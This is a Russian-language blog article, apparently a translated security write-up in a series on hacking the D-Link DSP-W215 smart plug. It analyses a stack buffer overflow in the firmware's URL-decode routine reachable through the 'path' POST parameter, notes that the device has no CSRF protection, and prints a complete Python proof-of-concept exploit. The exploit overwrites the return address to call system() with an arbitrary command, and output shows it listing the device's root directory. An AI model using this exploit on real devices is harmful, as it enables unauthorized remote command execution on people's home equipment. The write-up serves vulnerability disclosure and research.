В предыдущих сериях:
- Взламываем D-Link DSP-W215 Smart Plug
- Взламываем D-Link DSP-W215 Smart Plug. Снова
- Взламываем D-Link DSP-W215 Smart Plug. Снова и опять
До сих пор, все найденные в DSP-W215 уязвимости могли быть выполнены только из LAN, ну, если вы не глупец и не открыли доступ к Smart Plug из интернета.
Типичным способом атаки устройств со встроенным веб-сервером, доступным только из внутренней сети, типа того, что у DSP-W215 — через CSRF. Проблема этого метода в том, что любой веб-браузер будет кодировать (urlencode) передаваемые данные, например, адрес возврата, но до этого момента мы использовали уязвимости, которые не декодируют (urldecode) наши данные (уязвимость в функции replace_special_char, которую мы эксплуатировали в предыдущей статье, декодирует только ограниченный набор ASCII-символов).
Бинарный файл my_cgi.cgi, который является основной уязвимой целью, содержит функцию-декодировщик «decode», которая декодирует POST-данные. Этой функции передается два аргумента: указатель на закодированные данные и указатель на буфер, где хранятся раскодированные данные:
void decode(char *encode_buf, char *decode_buf);Эта функция просто проходит циклом по всем байтам в encode_buf и раскодирует или копирует их в decode_buf:
Грубо говоря, ее код выглядит как-то так:
void decode(char *encode_buf, char *decode_buf)
{
int encoded_byte_len;
char *encode_buf_end_ptr = encode_buf + strlen(encode_buf);
// Loop through all bytes in encode_buf, without knowing how big decode_buf is
while(encoded_data < encode_buf_end_ptr)
{
/*
* ...
* Do Decoding of the next byte in encoded_data.
* encoded_byte_len = number of bytes processed in this loop iteration (1 or 3).
* ...
*/
decode_buf[0] = decoded_byte;
decode_buf++;
encoded_data += encoded_byte_len;
}
}Если вызывающая функция не позаботилась о выделении буфера размера достаточного, чтобы сохранить все декодированные данные, то этот буфер (decode_buf) может быть переполнен большим POST-параметром.
В my_cgi.cgi есть только одна функция, из которой вызывается функция декодирования — get_input_entries:
Как видим, функция «decode» вызывается только в том случае, если имя POST-параметра «path», а из memset можно увидеть, что буферу decode_buf выделяется всего 0×400 на стеке:
char decode_buf[0x400];
if(strcmp(entries[i]->name, "path") == 0)
{
// Decode path POST value into the fixed-size decode_buf
decode(entries[i]->value, decode_buf);
strcpy(entries[i]->value, decode_buf);
}
replace_special_char(entries[i]->value);Это значит, что в случае, если мы передадим в POST-запросе значение «path» размером больше, чем 0×400 байт, произойдет переполнение буфера decode_buf на стеке внутри функции get_input_entries. И, что более интересно, у нас не будет «плохих» байт, т.к. функция «decode» все их раскодирует (например, превратит %00 в NULL-байт) перед копированием обратно на стек.
Однако, нам нужно проявить некоторую осторожность при составлении эксплоита, чтобы не вызвать переполнение буфера в функции replace_special_char, которая вызывается перед возвратом из get_input_entries.
К счастью, данные, которые передаются к replace_special_char предварительно проходят strcpy из decode_buf, поэтому, если мы поставим NULL-байт где-то ближе к началу POST-запроса, функции replace_special_char передастся строка очень маленькой длины (все то, что было до первого NULL-байта) вместо всего POST-запроса, который был раскодирован на стек.
POST-значение «path», длиной более 1060 байт, переполняет все в стековом фрейме функции get_input_entries, включая адрес возврата:
А из-за того, что у нас нет «плохих» байт, мы можем использовать адрес возврата 0x00405CEC, который мы использовали в предыдущих эксплоитах, чтобы вызвать system() с указателем на стек ($sp+0×28):
Вот небольшой код PoC на Python, который переполняет функцию get_input_entries, заменяет адрес возврата на вызов system() по адресу 0x00405CEC и запускает команду на стеке по смещению $sp+0×28:
import sys
import urllib
import urllib2
try:
target = sys.argv[1]
command = sys.argv[2]
except:
print "Usage: %s <target> <command>" % sys.argv[0]
sys.exit(1)
url = "http://%s/common/info.cgi" % target
buf = "x00" # Start with a NULL byte to prevent crashing in replace_special_chars
buf += "D" * (1060-1) # Stack filler
buf += "x00x40x5CxEC" # $ra, address of call to system()
buf += "E" * 0x28 # Stack filler
buf += command # Command to execute
buf += "x00" # NULL terminate the command, for good measure
# URL encode the path POST value
post_data = "path=" + urllib.quote_plus(buf).replace('+', '%20')
# Set a referer to show that there are no CSRF protections
headers = {'Referer' : 'http://www.attacker.com/exploit.html'}
req = urllib2.Request(url, post_data, headers)
print urllib2.urlopen(req).read()Работает она, конечно же, как и полагается:
$ ./exploit.py 192.168.0.60 'ls -l /'
drwxr-xr-x 2 1000 1000 4096 May 16 09:01 bin
drwxrwxr-x 3 1000 1000 4096 May 22 18:03 dev
drwxrwxr-x 3 1000 1000 4096 Sep 3 2010 etc
drwxrwxr-x 3 1000 1000 4096 May 16 09:01 lib
drwxr-xr-x 3 1000 1000 4096 May 16 09:01 libexec
lrwxrwxrwx 1 1000 1000 11 May 17 15:20 linuxrc -> bin/busybox
drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 lost+found
drwxrwxr-x 6 1000 1000 4096 May 17 15:15 mnt
drwxr-xr-x 2 1000 1000 4096 May 16 09:01 mydlink
drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 proc
drwxrwxr-x 2 1000 1000 4096 May 17 17:23 root
drwxr-xr-x 2 1000 1000 4096 May 16 09:01 sbin
drwxrwxrwx 3 1000 1000 4096 May 24 23:26 tmp
drwxrwxr-x 7 1000 1000 4096 May 16 09:01 usr
drwxrwxr-x 3 1000 1000 4096 May 17 15:21 var
-rw-r--r-- 1 1000 1000 17 May 16 09:01 version
drwxrwxr-x 6 1000 1000 4096 May 22 17:15 wwwАвтор: ValdikSS
